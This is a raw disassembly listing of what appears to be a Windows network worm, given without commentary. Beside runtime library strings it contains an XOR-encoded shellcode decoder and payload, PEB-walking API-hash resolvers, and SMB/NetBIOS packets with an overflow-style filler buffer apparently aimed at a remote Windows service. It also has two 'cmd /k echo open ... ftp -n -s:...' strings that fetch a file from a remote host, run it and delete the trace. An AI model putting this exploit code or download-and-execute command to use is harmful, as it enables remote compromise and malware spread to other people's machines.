db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .packed:off_4240D4o align 10h dbl_41A440 dq 0.0 ; DATA XREF: sub_412D59+8Cr ; sub_412D59+ACr ... dbl_41A448 dq 4.195835e6 ; DATA XREF: sub_41326E+Fr dbl_41A450 dq 3.145727e6 ; DATA XREF: sub_41326E+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4132AC+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4132ACo align 10h aE000 db 'e+000',0 ; DATA XREF: sub_4133D3+93o align 4 dword_41A488 dd 0FFFFFFFFh, 413ABEh, 413AC8h, 0 ; DATA XREF: sub_413A57+5o dword_41A498 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_413B86+5o dd offset loc_413C44 align 8 dd offset sub_413C22 dd offset sub_413C2C dword_41A4B0 dd 0FFFFFFFFh, 413E74h, 413E78h, 0 ; DATA XREF: sub_413CBC+5o dword_41A4C0 dd 0FFFFFFFFh, 413ED6h, 413EDFh, 0 ; DATA XREF: sub_413E80+5o dword_41A4D0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_413F5C+5o dd offset loc_413FAD align 10h dd offset loc_413F99 dd offset loc_413F9D dword_41A4E8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_413FB2+5o dd offset loc_414003 align 8 dd offset loc_413FEF dd offset loc_413FF3 dword_41A500 dd 2 dup(0) ; DATA XREF: sub_4158A4+36o ; sub_41745D+39o ... dword_41A508 dd 0FFFFFFFFh, 4159B4h, 4159B8h, 0FFFFFFFFh, 415A68h, 415A6Ch ; DATA XREF: sub_4158A4+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh dd 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .packed:off_4245CCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_416839+119o align 4 asc_41A7D4 db 0Ah ; DATA XREF: sub_416839+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_416839+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_416839+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_416839+7Do align 10h dword_41A810 dd 0FFFFFFFFh, 417556h, 41755Ah ; DATA XREF: sub_41745D+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_417AF5+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_418081+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_418081+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_418081+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_418885:loc_41897Ao align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_418885+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_418885+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_418885+ADo align 10h dword_41A8B0 dd 0FFFFFFFFh, 4193C3h, 4193C7h, 0FFFFFFFFh, 419432h, 419436h ; DATA XREF: sub_41920C+5o dd 41A9BCh ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 10h dd offset sub_4197B5 dd offset sub_4199D6 dd offset dword_41AA08 off_41A8DC dd offset sub_41982C ; DATA XREF: sub_4197DE+3Ao ; sub_419848o ... dd offset sub_4197B5 dd offset loc_419A12 dword_41A8E8 dd 0 ; DATA XREF: sub_4197DE+16o ; sub_4198B0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_419853+11o dd offset dword_41AA54 off_41A908 dd offset sub_41993B ; DATA XREF: sub_419957o ; sub_41997A+37o ... dd offset sub_4197B5 dd offset loc_4199F4 aStringTooLong db 'string too long',0 ; DATA XREF: sub_41997A+11o dd offset dword_41AA98 off_41A928 dd offset loc_419AEC ; DATA XREF: sub_419AD7o ; .packed:off_424E54o ... dd offset dword_41AAC8 off_41A930 dd offset loc_419B08 ; DATA XREF: sub_419B24+8o ; sub_419B61+8o ... dd offset sub_419BC1 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_419BC1+7o align 10h dword_41A950 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_419BCE+Eo dd 3, 19930520h, 2 dup(0) off_41A970 dd offset off_424E54 ; DATA XREF: .packed:0041A9A4o ; .packed:0041A9F0o ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_41A988 dd offset off_424E6C ; DATA XREF: .packed:0041A9A0o ; .packed:0041A9ECo ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_41A988 dd offset off_41A970 dword_41A9A8 dd 3 dup(0) ; DATA XREF: .packed:0041A9CCo dd 2, 41A9A0h, 3 dup(0) dd offset off_424E6C dd offset dword_41A9A8+4 off_41A9D0 dd offset off_424E8C ; DATA XREF: .packed:0041A9E8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_41A9D0 dd offset off_41A988 dd offset off_41A970 dd 0 db 0 ; DATA XREF: .packed:0041AA18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 41A9E8h dword_41AA08 dd 3 dup(0) ; DATA XREF: .packed:0041A8D8o dd offset off_424E8C dd offset unk_41A9F8 off_41AA1C dd offset off_424EAC ; DATA XREF: .packed:0041AA34o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_41AA1C dd offset off_41A988 dd offset off_41A970 dword_41AA40 dd 3 dup(0) ; DATA XREF: .packed:0041AA64o dd 3, 41AA34h dword_41AA54 dd 3 dup(0) ; DATA XREF: .packed:0041A904o dd offset off_424EAC dd offset dword_41AA40+4 off_41AA68 dd offset off_424ED0 ; DATA XREF: .packed:0041AA80o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_41AA68 dd 0 db 0 ; DATA XREF: .packed:0041AAA8o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 41AA80h dword_41AA98 dd 3 dup(0) ; DATA XREF: .packed:0041A924o dd offset off_424ED0 dd offset unk_41AA88 dd offset off_41A970 dword_41AAB0 dd 4 dup(0) ; DATA XREF: .packed:0041AAD8o dd 1, 41AAACh dword_41AAC8 dd 3 dup(0) ; DATA XREF: .packed:0041A92Co dd offset off_424E54 dd offset dword_41AAB0+8 align 10h dword_41AAE0 dd 19930520h, 2, 41AB00h, 5 dup(0) ; DATA XREF: .packed:loc_419C27o dd 0FFFFFFFFh, 419C10h, 0 dd offset sub_419C08 dword_41AB10 dd 19930520h, 2, 41AB30h, 5 dup(0) ; DATA XREF: .packed:loc_419C44o dd 0FFFFFFFFh, 419C34h, 0 dd offset loc_419C3C dword_41AB40 dd 19930520h, 2, 41AB60h, 1, 41AB70h, 3 dup(0) ; DATA XREF: .packed:loc_419C50o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 41AB88h, 4 dup(0) dd offset loc_4026F1 dd 0FFFFFFFFh, 419C5Ah dword_41ABA0 dd 19930520h, 1, 41AB98h, 5 dup(0) ; DATA XREF: .packed:loc_419C62o dd offset off_424E54 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 419B61h, 0 dd offset off_424E6C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4198F8h, 0 dd offset off_424E8C align 10h dd 0FFFFFFFFh, 0 dd 1Ch, 419962h, 3, 41ABF4h, 41ABD8h, 41ABBCh dword_41AC20 dd 0 ; DATA XREF: sub_419853+2Eo ; sub_4199D6+4Bo dd offset sub_419848 dd 0 ; --------------------------------------------------------------------------- adc [ecx+eax*2-100h], ch jmp fword ptr [esp+ebx*4+41h] ; --------------------------------------------------------------------------- align 4 dword_41AC38 dd 19930520h, 1, 41AC30h, 4 dup(0) ; DATA XREF: .packed:loc_419C74o dd 0FFFFFFFFh, 419C7Eh dword_41AC5C dd 19930520h, 1, 41AC54h, 4 dup(0) ; DATA XREF: .packed:loc_419C86o dd 0FFFFFFFFh, 419C90h dword_41AC80 dd 19930520h, 1, 41AC78h, 5 dup(0) ; DATA XREF: .packed:loc_419C98o dd offset off_424EAC align 8 dd 0FFFFFFFFh, 0 dword_41ACB0 dd 1Ch, 4199BEh, 3, 41AC9Ch, 41ABD8h, 41ABBCh ; DATA XREF: .packed:0041ACD4o dword_41ACC8 dd 0 ; DATA XREF: sub_41997A+2Eo ; sub_4199D6+2Do dd offset sub_419957 dd 0 dd offset dword_41ACB0+8 dd 0FFFFFFFFh, 419CA2h dword_41ACE0 dd 19930520h, 1, 41ACD8h, 4 dup(0) ; DATA XREF: .packed:loc_419CAAo dword_41ACFC dd 2, 41ABD8h, 41ABBCh ; DATA XREF: .packed:0041AD14o dword_41AD08 dd 0 ; DATA XREF: sub_4199D6+Fo dd offset sub_41979A dd 0 dd offset dword_41ACFC dd 1AEF0h, 2 dup(0) dd 1AF4Eh, 1A188h, 1AEE0h, 2 dup(0) dd 1AF9Ch, 1A178h, 1AD68h, 2 dup(0) dd 1B648h, 1A000h, 4ABh dup(0) dword_41C000 dd 0 ; DATA XREF: sub_41080C+1Fo dd offset sub_40279F dword_41C008 dd 0 ; DATA XREF: sub_41080C+1Ao dword_41C00C dd 0 ; DATA XREF: sub_41080C+10o dd offset sub_40F842 dd offset sub_416064 dd offset sub_4169F6 dd offset sub_41724C dword_41C020 dd 0 ; DATA XREF: sub_41080C:loc_410817o dword_41C024 dd 0 ; DATA XREF: sub_41085B+65o dd offset sub_416A9B dword_41C02C dd 0 ; DATA XREF: sub_41085B:loc_4108BBo dword_41C030 dd 0 ; DATA XREF: sub_41085B+76o dd offset sub_41725D dword_41C038 dd 2 dup(0) ; DATA XREF: sub_41085B:loc_4108CCo aFxnbfxfxnbfxfx: ; DATA XREF: sub_401294+59o ; sub_401294+A8o unicode 0, <FXNBFXFXNBFXFXFXFX> dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_41C11C dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_4014EF+F9o ; sub_4014EF+204o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41C168 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_401294+17Co dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_41C19C dd offset dword_43005C ; DATA XREF: sub_401294+165o a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 dd 0 dword_41C1DC dd 20h, 0 ; DATA XREF: sub_401294+13Eo dd 20h, 5C005Ch, 0 dword_41C1F0 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_401294+12Bo dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 ; CODE XREF: sub_41C556:loc_41C56Bj dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) ; --------------------------------------------------------------------------- loc_41C554: ; DATA XREF: sub_401294+73o jmp short loc_41C566 ; =============== S U B R O U T I N E ======================================= sub_41C556 proc near ; CODE XREF: sub_41C556:loc_41C566p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_41C55E: ; CODE XREF: sub_41C556+Cj xor byte ptr [edx+ecx], 99h loop loc_41C55E jmp short loc_41C56B ; --------------------------------------------------------------------------- loc_41C566: ; CODE XREF: .packed:loc_41C554j call sub_41C556 loc_41C56B: ; CODE XREF: sub_41C556+Ej jo short near ptr dword_41C4FC+6 cwde cdq cdq retn sub_41C556 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_41C604 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_401294+32o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dd 195h dword_41C6F0 dd 10016C6h ; DATA XREF: sub_401294+10Co dword_41C6F4 dd 100139Dh ; DATA XREF: sub_401294+103o dword_41C6F8 dd 195h ; DATA XREF: sub_401294+3Cr aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: sub_401000+91o db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 asc_41C76C: ; DATA XREF: sub_4010F9+1Co ; sub_4011DC+16o unicode 0, <\\>,0 align 4 off_41C774 dd offset dword_49005C ; DATA XREF: sub_4010F9+Co ; sub_4011DC+Bo dd offset dword_430050 dd 24h dword_41C780 dd 65706970h, 6D70655Ch, 65707061h, 72h ; DATA XREF: sub_4014EF+52o dword_41C790 dd 73255C5Ch, 5Ch ; DATA XREF: sub_4014EF+41o byte_41C798 db 90h ; DATA XREF: sub_401A03+B2o db 42h, 90h, 42h db 90h dd offset word_429042 align 4 dword_41C7A4 dd 10FF8h, 0 ; DATA XREF: sub_401A03+6Ao dword_41C7AC dd 10FF8h ; DATA XREF: sub_401A03+79o dword_41C7B0 dd 7FFDF020h, 0 ; DATA XREF: sub_401A03+162o dword_41C7B8 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_401E2D+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_41C840 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401E2D+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_41C870 dd 0 ; DATA XREF: sub_401E2D+44o dd 800000D4h, 0 unk_41C87C db 81h ; ; DATA XREF: sub_401F07+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 8 byte_41C8C8 db 41h ; DATA XREF: sub_401FA5+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_41C90C proc near ; DATA XREF: .packed:00402282o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_41CA08 push dword ptr [esi] push 63D61209h call sub_41CA1E mov [esi+8], eax call sub_41C9D1 push dword ptr [esi+4] push 0CA2BD06Bh call sub_41CA1E mov [esi+0Ch], eax call sub_41C983 push dword ptr [esi+4] push 4C0297FAh call sub_41CA1E xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_41C90C endp ; =============== S U B R O U T I N E ======================================= sub_41C983 proc near ; CODE XREF: sub_41C90C+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_41C9AC mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_41C983 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C9AC proc near ; CODE XREF: sub_41C983+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_41C9BB: ; CODE XREF: sub_41C9AC+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_41C9C8 inc ebx jmp short loc_41C9BB ; --------------------------------------------------------------------------- loc_41C9C8: ; CODE XREF: sub_41C9AC+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_41C9AC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C9D1 proc near ; CODE XREF: sub_41C90C+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_41C9E9: ; CODE XREF: sub_41C9D1+1Ej cmp [ecx], ebx jz short loc_41C9F1 mov ecx, [ecx] jmp short loc_41C9E9 ; --------------------------------------------------------------------------- loc_41C9F1: ; CODE XREF: sub_41C9D1+1Aj mov edx, edi loc_41C9F3: ; CODE XREF: sub_41C9D1+2Aj cmp [edx+4], ebx jz short loc_41C9FD mov edx, [edx+4] jmp short loc_41C9F3 ; --------------------------------------------------------------------------- loc_41C9FD: ; CODE XREF: sub_41C9D1+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_41C9D1 endp ; =============== S U B R O U T I N E ======================================= sub_41CA08 proc near ; CODE XREF: sub_41C90C+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_41CA08 endp ; =============== S U B R O U T I N E ======================================= sub_41CA1E proc near ; CODE XREF: sub_41C90C+16p ; sub_41C90C+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_41CA34: ; CODE XREF: sub_41CA1E+33j jecxz short loc_41CA6E dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_41CA41: ; CODE XREF: sub_41CA1E+2Dj lodsb cmp al, ah jz short loc_41CA4D ror edi, 0Dh add edi, eax jmp short loc_41CA41 ; --------------------------------------------------------------------------- loc_41CA4D: ; CODE XREF: sub_41CA1E+26j cmp edi, [esp+20h+arg_0] jnz short loc_41CA34 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_41CA6E: ; CODE XREF: sub_41CA1E:loc_41CA34j ; sub_41CA1E:loc_41CA6Ej jmp short loc_41CA6E sub_41CA1E endp ; --------------------------------------------------------------------------- dd 0 ; =============== S U B R O U T I N E ======================================= sub_41CA74 proc near ; DATA XREF: .packed:00402232o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_41CAC6 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_41CA91: ; CODE XREF: sub_41CA74+38j jecxz short loc_41CAC1 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_41CA9C: ; CODE XREF: sub_41CA74+32j lodsb test al, al jz short loc_41CAA8 ror edx, 0Dh add edx, eax jmp short loc_41CA9C ; --------------------------------------------------------------------------- loc_41CAA8: ; CODE XREF: sub_41CA74+2Bj cmp edx, [esp+arg_0] jnz short loc_41CA91 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_41CAC1: ; CODE XREF: sub_41CA74:loc_41CA91j mov [esp+arg_0], ebx retn sub_41CA74 endp ; =============== S U B R O U T I N E ======================================= sub_41CAC6 proc near ; CODE XREF: sub_41CA74+7p ; FUNCTION CHUNK AT 0041CAFE SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_41CADF mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_41CAEA ; --------------------------------------------------------------------------- loc_41CADF: ; CODE XREF: sub_41CAC6+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_41CAEA: ; CODE XREF: sub_41CAC6+14j pop edi xor esi, esi pusha push esi jmp short loc_41CAFE sub_41CAC6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CAF1 proc near ; CODE XREF: sub_41CAC6:loc_41CAFEp push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_41CAF1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41CAC6 loc_41CAFE: ; CODE XREF: sub_41CAC6+29j call sub_41CAF1 loc_41CB03: ; DATA XREF: sub_4019A8+1Bo ; sub_40997B+7ADo add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_41CAC6 ; --------------------------------------------------------------------------- db 3 dup(0) dword_41CB08 dd 60h ; DATA XREF: sub_401A03+320o dword_41CB0C dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_401A03+2F5o dword_41CB18 dd 30h ; DATA XREF: sub_401A03+2CAo dword_41CB1C dd 0A1h ; DATA XREF: sub_401A03+29Fo dword_41CB20 dd 3 ; DATA XREF: sub_401A03+246o aCccc db 'CCCC',0 ; DATA XREF: sub_401A03+153o align 4 loc_41CB2C: ; DATA XREF: sub_401A03+E8o jmp short near ptr dword_41CB34 ; --------------------------------------------------------------------------- db 6 dup(90h) dword_41CB34 dd 0 ; CODE XREF: .packed:loc_41CB2Cj aCmdKEchoOpen_0 db 'cmd /k echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: .packed:00402257o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_41CBAC dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: .packed:00402909o dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 